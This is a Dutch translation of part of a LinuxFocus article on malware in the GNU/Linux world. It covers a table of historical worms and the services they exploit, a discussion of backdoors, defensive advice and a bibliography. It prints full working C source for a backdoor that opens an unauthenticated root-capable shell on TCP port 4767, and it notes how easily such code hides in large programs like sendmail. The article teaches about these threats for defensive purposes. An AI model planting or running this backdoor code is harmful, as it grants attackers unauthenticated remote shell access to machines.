Naam	*Kwetsbaarheden*	*Opmerkingen*
Lion (`1i0n`)	`bind`	Installeert een backdoor (TCP port 10008) en een *root-kit* op de binnengedrongen machine. Stuurt systeeminformatie naar een email adres in China.
Ramen	`lpr`, `nfs`, `wu-ftpd`	Verandert de `index.html` bestanden die hij vindt
Adore (Red Worm)	`bind`, `lpr`, `rpc`, `wu-ftpd`	Installeert een backdoor in het systeem en stuurt informatie naar email adressen in China en de VS. Installeert een gemodificeerde versie van `ps` om z'n processen te verbergen.
Cheese	Net als Lion	Een Worm die geïntroduceerd is als een goede, die backdoors die geopend zijn door *Lion* controleert en verwijdert.

Let er, wat betreft wormen, op dat de verspreiding alleen gelimiteerd wordt door de factor tijd. Ze "overleven" alleen door zichzelf van het ene systeem naar het andere te kopiëren., en aangezien ze vertrouwen op recentelijk gevonden kwetsbaarheden, stopt snel updaten van kwetsbare applicaties hun verspreiding. Het is zeer waarschijnlijk dat systemen in de nabije toekomst automatisch dagelijks websites bezoeken - vertrouwde sites natuurlijk - om daar veiligheidsupdates voor het systeem te vinden. Dit zal nodig worden om te voorkomen dat thuisgebruikers ook full time systeembeheerders moeten worden om gebruik te kunnen blijven maken van netwerk applicaties.

Backdoors

Het backdoor probleem is van groot belang, ook voor free software. Natuurlijk kan je, theoretisch gezien, als de broncode van een programma beschikbaar is, controleren wat het doet. Maar over het algemeen lezen maar heel weinig mensen de inhoud van het archief dat ze downloaden van internet. Het hieronder staande kleine programma is bijvoorbeeld een complete backdoor, maar door het kleine formaat is het eenvoudig te verbergen in een grotere applicatie. Dit programma is afgeleid van een voorbeeld uit mijn boek [BLAESS 00] en illustreert het mechanisme van de pseudo-terminal. Het programma is niet erg goed leesbaar omdat het ingekort is door al het commentaar weg te halen. De

meeste foutcontroles zijn om dezelfde reden weggehaald. Als het wordt uitgevoerd opent het een TCP/IP server op de poort die genoemd wordt aan het begin van het programma (standaard 4767) op iedere netwerk interface van de machine. Iedere aangevraagde verbinding met deze poort zal automatisch een commandoregel openen zonder enige toegangscontrole!!!

```
    #define _GNU_SOURCE 500

    #include <fcntl.h>

    #include <stdio.h>

    #include <stdlib.h>

    #include <termios.h>

    #include <unistd.h>

    #include <netinet/in.h>

    #include <sys/socket.h>


    #define ADRESSE_BACKDOOR  INADDR_ANY

    #define PORT_BACKDOOR     4767


    int

main (void)

{

    int                 sock;

    int                 sockopt;

    struct sockaddr_in adresse; /* address */

    socklen_t           longueur; /* length */

    int                 sock2;

    int         pty_maitre; /* pty_master */

    int         pty_esclave; /* pty_slave */

    char *          nom_pty; /* name_pty */

    struct termios      termios;

    char * args [2] = { "/bin/sh", NULL };

    fd_set          set;

    char            buffer [4096];

    int             n;
```

```
sock = socket (AF_INET, SOCK_STREAM, 0);
sockopt = 1;
setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));
memset (& adresse, 0, sizeof (struct sockaddr));
adresse . sin_family = AF_INET;
adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
adresse . sin_port = htons (PORT_BACKDOOR);
if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
    exit (1);
listen (sock, 5);
while (1) {
    longueur = sizeof (struct sockaddr_in);
    if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
        continue;
    if (fork () == 0) break;
    close (sock2);
}
close (sock);
if ((pty_maitre = getpt()) < 0) exit (1);
grantpt  (pty_maitre);
unlockpt (pty_maitre);
nom_pty = ptsname (pty_maitre);
tcgetattr (STDIN_FILENO, & termios);
if (fork () == 0) {
    /* Son: shell execution in the slave
        pseudo-TTY */
    close (pty_maitre);
    setsid();
    pty_esclave = open (nom_pty, O_RDWR);
    tcsetattr (pty_esclave, TCSANOW, & termios);
    dup2 (pty_esclave, STDIN_FILENO);
```

```
        dup2 (pty_esclave, STDOUT_FILENO);
        dup2 (pty_esclave, STDERR_FILENO);
        execv (args [0], args);
        exit (1);
    }
    /* Father: copy of the socket to the master pseudo-TTY
        and vice versa */
        tcgetattr (pty_maitre, & termios);
    cfmakeraw (& termios);
    tcsetattr (pty_maitre, TCSANOW, & termios);
    while (1) {
        FD_ZERO (& set);
        FD_SET (sock2, & set);
        FD_SET (pty_maitre, & set);
        if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
             & set, NULL, NULL, NULL) < 0)
            break;
        if (FD_ISSET (sock2, &set)) {
            if ((n = read (sock2, buffer, 4096)) < 0)
                break;
            write (pty_maitre, buffer, n);
        }
        if (FD_ISSET (pty_maitre, &set)) {
            if ((n = read (pty_maitre, buffer, 4096)) < 0)
                break;
            write (sock2, buffer, n);
        }
    }
    return (0);
}
```

Het invoegen van een dergelijke code in een grote applicatie, (zoals bijvoorbeeld `sendmail`) zal lang genoeg onontdekt blijven om vervelende indring-acties te genereren. Bovendien zijn sommige mensen er meester in om een beetje code te verbergen. De programma's die ieder jaar worden ingediend bij de IOCC (*International Obsfucated C Code Contest*) voor een wedstrijd, zijn hiervan het bewijs.

Backdoors moeten niet worden gezien als theoretische mogelijkheden. Problemen hiermee zijn bijvoorbeeld bekend van het *Piranha* pakket uit Red-Hat 6.2, dat een standaard wachtwoord accepteerde. Het spel *Quake 2* wordt ook verdacht van een geheime backdoor om niet-locale commando's uit te voeren.

Backdoor mechanismen kunnen zichzelf ook in dusdanig complexe verschijningen verbergen dat ze voor de meeste mensen onvindbaar zijn. Een typisch voorbeeld hiervan gaat over encryptie systemen. Het SE-Linux systeem bijvoorbeeld is een Linux versie waarbij de beveiliging verbeterd is met patches die de NSA aangeleverd heeft. Linux ontwikkelaars die de aangeleverde patches hebben gecontroleerd, zeiden dat er niets verdachts tussen *leek* te zitten, maar niemand kan hier zeker van zijn en slechts weinig mensen hebben voldoende mathematische kennis in huis om hier kwetsbaarheden in te vinden.

Conclusie

Het bekijken van deze schadelijke programma's die gevonden kunnen worden in de Gnu/Linux wereld, leidt tot een conclusie: free software is niet onkwetsbaar voor virussen, wormen, Trojaanse paarden of andere kwaadwillende programma's! Je moet, zonder hier al te licht over te denken, de veiligheidswaarschuwingen wat betreft applicaties controleren, vooral wanneer de verbinding van een workstation met internet vrij frequent is. Het is van belang om je nu al de goede gewoonten aan te leren: update software zodra er een kwetsbaarheid is ontdekt; gebruik alleen de benodigde netwerk services; download applicaties alleen van vertrouwde websites; controleer zoveel mogelijk de PGP en MD5 handtekeningen van de gedownloade pakketten. Mensen die hier heel serieus mee om gaan zullen deze controle automatiseren met bijvoorbeeld scripts om de pakketten te controleren.

Een tweede opmerking: de twee belangrijkste gevaren voor Linux systemen zullen in de toekomst waarschijnlijk (Office) applicaties zijn die macro's interpreteren die in documenten zitten, of multi platform virussen die, zelfs wanneer ze worden uitgevoerd onder Windows, uitvoerbare bestanden die het vindt op een Linux partitie van dezelfde machine, zal infecteren. De grootte van het eerste probleem is afhankelijk van het gedrag van de gebruiker, die van een (office) applicatie niet alles zou moeten laten accepteren, maar de tweede is vrij lastig op te lossen, zelfs voor voorzichtige beheerders. In de nabije toekomst zou het wel eens nodig kunnen worden om krachtige virus scanners te implementeren in Linux werkstations die verbonden zijn met internet; laten we hopen dat dergelijke projecten binnenkort zullen starten in de free software wereld.

Bibliografie

Het aantal documenten over virussen, Trojaanse paarden en andere bedreigingen voor software is een belangrijke indicatie; er bestaan vele teksten over huidige virussen, hoe ze werken en wat ze doen.

Natuurlijk is het grootste deel van deze lijst gewijd aan Dos/Windows, maar enkelen ervan gaan over Linux. De artikelen die hier worden genoemd zijn vrij klassiek en analyseren het geïnplementeerde theoretische mechanisme.

- [BLAESS 00] Christophe Blaess - "*C system programming under Linux*", Eyrolles, 2000.
- [DEWDNEY 84] A.K. Dewdney - "*Computer recreations*" in *Scientific American*. Scanned versions available at http://www.koth.org/info/sciam/
- [EICHIN 89] Mark W. Eichin & Jon A. Rochlis - "*With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988*", MIT Cambridge, 1989. Available at www.mit.edu/people/eichin/virus/main.html
- [GIBSON 01] Steve Gibson - "*The Strange Tale of the Denial of Service Attack Against GRC.COM*", 2001. Available at http://grc.com/dos/grcdos.htm
- [KEHOE 92] Brendan P. Kehoe - "*Zen and the Art of the Internet*", 1992. Available at ftp://ftp.lip6.fr/pub/doc/internet/
- [LUDWIG 91] Mark A. Ludwig - "*The Little Black Book of Computer Virus*", American Eagle Publications Inc., 1991.
- [LUDWIG 93] Mark A. Ludwig - "*Computer Viruses, Artificial Life and Evolution*", American Eagle Publications Inc., 1993.
- [MARSDEN 00] Anton Marsden - "*The rec.games.corewar FAQ*" available at http://homepages.paradise.net.nz/~anton/cw/corewar-faq.html
- [MORRIS 85] Robert T. Morris - "*A Weakness in the 4.2BSD Unix TCP/IP Software*", AT&T Bell Laboratories, 1985. Available at http://www.pdos.lcs.mit.edu/~rtm/
- [SPAFFORD 88] Eugene H. Spafford - "*The Internet Worm Program: an Analysis*", Purdue University Technical Report CSD-TR-823, 1988. Available at http://www.cerias.purdue.edu/homes/spaf/
- [SPAFFORD 91] Eugene H. Spafford - "*The Internet Worm Incident*", Purdue University Technical Report CSD-TR-933, 1991. Available at http://www.cerias.purdue.edu/homes/spaf/ See also **rfc1135**: The Helminthiasis of the Internet
- [SPAFFORD 94] Eugene H. Spafford - "*Computer Viruses as Artificial Life*", Journal of Artificial Life, MIT Press, 1994. Available at http://www.cerias.purdue.edu/homes/spaf/
- [STOLL 89] Clifford Stoll - "*The Cuckcoo's egg*", Doubleday, 1989.
- [THOMPSON 84] Ken Thompson - "*Reflections on Trusting Trust*", Communication of the ACM vol.27 n°8, August 1984. Reprinted in 1995 and available at http://www.acm.org/classics/sep95/

Site onderhouden door het LinuxFocus editors team © Christophe Blaess "some rights reserved" see linuxfocus.org/license/ http://www.LinuxFocus.org	Vertaling info: fr --> -- : Christophe Blaess (homepage) fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org> en --> nl: Hendrik-Jan Heins <hjh/at/passys.nl>

2005-01-14, generated by lfparser_pdf version 2.51